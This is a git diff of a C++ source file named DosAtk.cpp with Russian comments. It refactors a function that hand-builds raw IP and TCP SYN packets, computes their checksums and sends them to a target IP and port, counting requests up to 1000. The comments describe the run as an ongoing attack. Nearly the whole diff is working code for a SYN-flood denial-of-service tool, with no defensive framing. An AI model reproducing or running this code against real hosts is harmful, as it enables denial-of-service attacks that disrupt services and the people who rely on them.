diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 5232c14..b280166 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -364,30 +364,52 @@ int my_dns() } unsigned short checksum(void *data, int len) { - // считай чексумму для пакета - auto *ptr = (uint16_t *)data; + // рассчёт чексуммы для пакета. получает пакет и возращает проверочную сумму + uint16_t *ptr = (uint16_t *)data; unsigned long sum = 0; while (len > 1) { sum += *ptr++; len -= 2; } - if (len == 1) sum += *(uint8_t *)ptr; + if (len == 1) { + uint8_t *byte_ptr = (uint8_t *)ptr; + sum += *byte_ptr; + } sum = (sum >> 16) + (sum & 0xFFFF); return (unsigned short)(~sum); } -void my_tcp_syn() { - // === Инициализация переменных === - // Сетевые сокеты - int route_sock = -1; // Сокет для определения нашего IP (инициализирован -1 как индикатор ошибки) - int sock = -1; // Raw-сокет для отправки пакетов (инициализирован -1) - int one = 1; // Флаг для setsockopt (1 = включить опцию) +void my_tcp_syn() { + + /* + * Отправляет TCP SYN запрос на указанный IP и порт + * + * Глобальные переменные: + * ip - IP адрес цели (строка) + * port - порт цели (строка) + * status - устанавливает статус выполнения: + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания сокета для определения IP + * -202 - ошибка преобразования IP адреса + * -203 - ошибка соединения для определения IP + * -204 - ошибка получения локального IP (getsockname) + * -205 - ошибка создания raw-сокета + * -206 - ошибка отправки SYN-пакета + * n_ok_requests - счетчик успешных запросов + * n_fail_requests - счетчик неудачных запросов + */ + + // === Объявление локальных переменных === + int route_sock; // Временный сокет для определения нашего IP + int sock; // Основной raw-сокет для отправки пакетов + int one; // Флаг для setsockopt // Структуры для адресов - struct sockaddr_in target_addr; // Адрес цели (куда отправляем SYN) + struct sockaddr_in target_addr; // Адрес цели struct sockaddr_in src_addr; // Наш локальный адрес - socklen_t len = sizeof(src_addr); // Размер структуры адреса + socklen_t len; // Размер структуры адреса // Параметры подключения uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) @@ -396,7 +418,7 @@ void my_tcp_syn() { struct iphdr ip_header; // IP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета - // Псевдозаголовок для контрольной суммы TCP + // Псевдозаголовок для контрольной суммы struct { uint32_t saddr; // Адрес отправителя uint32_t daddr; // Адрес получателя @@ -406,104 +428,105 @@ void my_tcp_syn() { } pseudo_header; // Буферы данных - char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Временный буфер для контрольной суммы - char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет для отправки - char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление нашего IP + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление IP - // === Основная логика функции === + // === Инициализация переменных === + route_sock = -1; + sock = -1; + one = 1; + len = sizeof(src_addr); + target_port = 0; - // Преобразуем строковый порт в число и конвертируем в сетевой порядок байт + // === Основная логика процедуры === target_port = htons(atoi(port.c_str())); - // 1. Создаем временный UDP-сокет для определения нашего IP + // 1. Создание временного сокета if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("Ошибка создания сокета для определения IP"); - status = -102; // Устанавливаем глобальный статус ошибки - return; // Выходим из функции - } - - // 2. Настраиваем адрес цели (куда будем отправлять SYN) - memset(&target_addr, 0, sizeof(target_addr)); // Обнуляем структуру - target_addr.sin_family = AF_INET; // Семейство адресов - IPv4 - - // Преобразуем строковый IP в бинарный формат - if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { - perror("Ошибка преобразования IP адреса"); - close(route_sock); // Закрываем сокет перед выходом - status = -102; + status = -201; return; } - // 3. Устанавливаем соединение (для определения нашего IP) + // 2. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + perror("Ошибка преобразования IP адреса"); + close(route_sock); + status = -202; + return; + } + + // 3. Установка соединения if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) { perror("Ошибка connect для определения IP"); close(route_sock); - status = -102; + status = -203; return; } - // 4. Получаем наш локальный IP-адрес, который система выбрала для этого соединения + // 4. Получение локального IP if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) { perror("Ошибка getsockname"); close(route_sock); - status = -102; + status = -204; return; } - close(route_sock); // Закрываем временный сокет + close(route_sock); - // 5. Создаем raw-сокет для отправки TCP-пакетов + // 5. Создание raw-сокета if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { perror("Ошибка создания raw-сокета"); - status = -102; + status = -205; return; } - // 6. Включаем режим ручного формирования IP-заголовка + // 6. Установка опции IP_HDRINCL setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); - // 7. Формируем IP-заголовок - memset(&ip_header, 0, sizeof(ip_header)); // Обнуляем структуру - ip_header.ihl = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) - ip_header.version = 4; // Версия IPv4 - ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); // Общая длина пакета - ip_header.ttl = 64; // Время жизни пакета (хопы) - ip_header.protocol = IPPROTO_TCP; // Протокол верхнего уровня (TCP) - ip_header.saddr = src_addr.sin_addr.s_addr; // Наш IP - ip_header.daddr = inet_addr(ip.c_str()); // IP цели + // 7. Формирование IP заголовка + memset(&ip_header, 0, sizeof(ip_header)); + ip_header.ihl = 5; + ip_header.version = 4; + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); + ip_header.ttl = 64; + ip_header.protocol = IPPROTO_TCP; + ip_header.saddr = src_addr.sin_addr.s_addr; + ip_header.daddr = inet_addr(ip.c_str()); - // 8. Формируем TCP-заголовок - memset(&tcp_header, 0, sizeof(tcphdr)); // Обнуляем структуру - tcp_header.source = htons(12345); // Произвольный исходный порт - tcp_header.dest = target_port; // Порт цели - tcp_header.seq = htonl(123456); // Начальный номер последовательности - tcp_header.doff = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) - tcp_header.syn = 1; // Устанавливаем флаг SYN (запрос соединения) - tcp_header.window = htons(5840); // Размер окна + // 8. Формирование TCP заголовка + memset(&tcp_header, 0, sizeof(tcphdr)); + tcp_header.source = htons(12345); + tcp_header.dest = target_port; + tcp_header.seq = htonl(123456); + tcp_header.doff = 5; + tcp_header.syn = 1; + tcp_header.window = htons(5840); - // 9. Рассчитываем контрольную сумму TCP + // 9. Расчет контрольной суммы pseudo_header = { - .saddr = ip_header.saddr, // Адрес отправителя - .daddr = ip_header.daddr, // Адрес получателя - .zero = 0, // Зарезервировано - .protocol = IPPROTO_TCP, // Протокол TCP - .tcp_len = htons(sizeof(tcphdr)) // Длина TCP-заголовка + .saddr = ip_header.saddr, + .daddr = ip_header.daddr, + .zero = 0, + .protocol = IPPROTO_TCP, + .tcp_len = htons(sizeof(tcphdr)) }; - // Копируем псевдозаголовок и TCP-заголовок во временный буфер memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); - // Вычисляем и устанавливаем контрольную сумму tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); - // 10. Собираем итоговый пакет (IP-заголовок + TCP-заголовок) + // 10. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); - // 11. Настраиваем адрес цели для отправки + // 11. Настройка адреса цели memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_addr.s_addr = inet_addr(ip.c_str()); - // 12. Отправляем пакет + // 12. Отправка пакета if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; @@ -513,6 +536,7 @@ void my_tcp_syn() { n_ok_requests++; } + // 13. Проверка завершения status = 0; if ((n_ok_requests + n_fail_requests) >= 1000) { @@ -546,7 +570,7 @@ int main(int argc, char **argv) // Получаем текущее время в различных форматах time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); - auto ms = std::chrono::duration_cast( + std::chrono::milliseconds ms = std::chrono::duration_cast( start_timestamp.time_since_epoch()) % 1000; // Выводим информацию о времени запуска программы